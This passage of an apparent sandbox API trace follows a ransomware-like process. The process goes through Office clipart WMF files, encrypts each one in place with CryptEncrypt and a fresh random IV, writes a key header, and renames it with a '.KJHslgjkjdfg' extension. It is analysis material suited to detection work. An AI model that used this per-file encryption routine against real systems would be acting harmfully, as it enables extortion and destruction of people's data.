hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0201.751] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0201.751] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0201.753] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0201.754] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0201.754] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0201.754] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0201.754] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0201.754] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0201.754] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0201.754] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.754] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x4030, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x4030, lpOverlapped=0x0) returned 1 [0201.757] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4030, dwBufLen=0x4030 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4030) returned 1 [0201.757] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.758] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x4030, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x4030, lpOverlapped=0x0) returned 1 [0201.758] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0201.758] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4104, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.758] SetEndOfFile (hFile=0x130) returned 1 [0201.761] GetProcessHeap () returned 0x2ef0000 [0201.761] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0201.761] GetProcessHeap () returned 0x2ef0000 [0201.761] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0201.761] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152556.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152556.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152556.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152556.wmf.kjhslgjkjdfg")) returned 1 [0201.762] CloseHandle (hObject=0x130) returned 1 [0201.762] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3eb4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0152558.WMF", cAlternateFileName="")) returned 1 [0201.762] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152558.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152558.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0201.763] GetProcessHeap () returned 0x2ef0000 [0201.763] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0201.763] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0201.763] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0201.763] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0201.765] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0201.765] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0201.765] GetProcessHeap () returned 0x2ef0000 [0201.765] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0201.765] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0201.766] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0201.766] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0201.766] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0201.766] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0201.766] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0201.766] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0201.766] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0201.766] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0201.766] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0201.766] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.766] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x3eb4, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x3eb4, lpOverlapped=0x0) returned 1 [0201.767] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3ec0, dwBufLen=0x3ec0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3ec0) returned 1 [0201.768] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.768] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x3ec0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x3ec0, lpOverlapped=0x0) returned 1 [0201.768] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0201.768] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3f94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.768] SetEndOfFile (hFile=0x130) returned 1 [0201.771] GetProcessHeap () returned 0x2ef0000 [0201.771] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0201.771] GetProcessHeap () returned 0x2ef0000 [0201.771] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0201.771] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152558.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152558.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152558.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152558.wmf.kjhslgjkjdfg")) returned 1 [0201.772] CloseHandle (hObject=0x130) returned 1 [0201.772] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5642c4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2a80, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0152560.WMF", cAlternateFileName="")) returned 1 [0201.772] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152560.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152560.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0201.773] GetProcessHeap () returned 0x2ef0000 [0201.773] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0201.773] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0201.773] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0201.773] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0201.773] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0201.773] GetProcessHeap () returned 0x2ef0000 [0201.773] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0201.773] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0201.773] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0201.773] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0201.774] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0201.775] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0201.775] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0201.775] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0201.775] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0201.775] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0201.775] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0201.775] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.775] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x2a80, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x2a80, lpOverlapped=0x0) returned 1 [0201.776] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2a80, dwBufLen=0x2a80 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2a80) returned 1 [0201.776] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.776] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x2a80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x2a80, lpOverlapped=0x0) returned 1 [0201.776] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0201.776] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2b54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.777] SetEndOfFile (hFile=0x130) returned 1 [0201.779] GetProcessHeap () returned 0x2ef0000 [0201.779] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0201.779] GetProcessHeap () returned 0x2ef0000 [0201.779] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0201.779] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152560.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152560.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152560.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152560.wmf.kjhslgjkjdfg")) returned 1 [0201.780] CloseHandle (hObject=0x130) returned 1 [0201.780] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe70, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0152568.WMF", cAlternateFileName="")) returned 1 [0201.780] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152568.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152568.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0201.781] GetProcessHeap () returned 0x2ef0000 [0201.781] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0201.781] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0201.781] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0201.781] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0201.781] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0201.782] GetProcessHeap () returned 0x2ef0000 [0201.782] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0201.782] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0201.782] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0201.782] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0201.784] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0201.784] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0201.784] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0201.784] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0201.784] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0201.784] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0201.784] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0201.784] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.784] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xe70, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xe70, lpOverlapped=0x0) returned 1 [0201.785] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xe70, dwBufLen=0xe70 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xe70) returned 1 [0201.785] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.785] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xe70, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xe70, lpOverlapped=0x0) returned 1 [0201.785] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0201.785] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xf44, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.785] SetEndOfFile (hFile=0x130) returned 1 [0201.788] GetProcessHeap () returned 0x2ef0000 [0201.788] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0201.788] GetProcessHeap () returned 0x2ef0000 [0201.788] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0201.788] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152568.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152568.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152568.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152568.wmf.kjhslgjkjdfg")) returned 1 [0201.789] CloseHandle (hObject=0x130) returned 1 [0201.789] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5642c4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd28, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0152570.WMF", cAlternateFileName="")) returned 1 [0201.789] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152570.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152570.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0201.791] GetProcessHeap () returned 0x2ef0000 [0201.791] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0201.791] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0201.791] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0201.791] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0201.793] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0201.793] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0201.793] GetProcessHeap () returned 0x2ef0000 [0201.793] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0201.793] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0201.793] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0201.793] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0201.793] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0201.793] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0201.793] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0201.794] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0201.794] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, 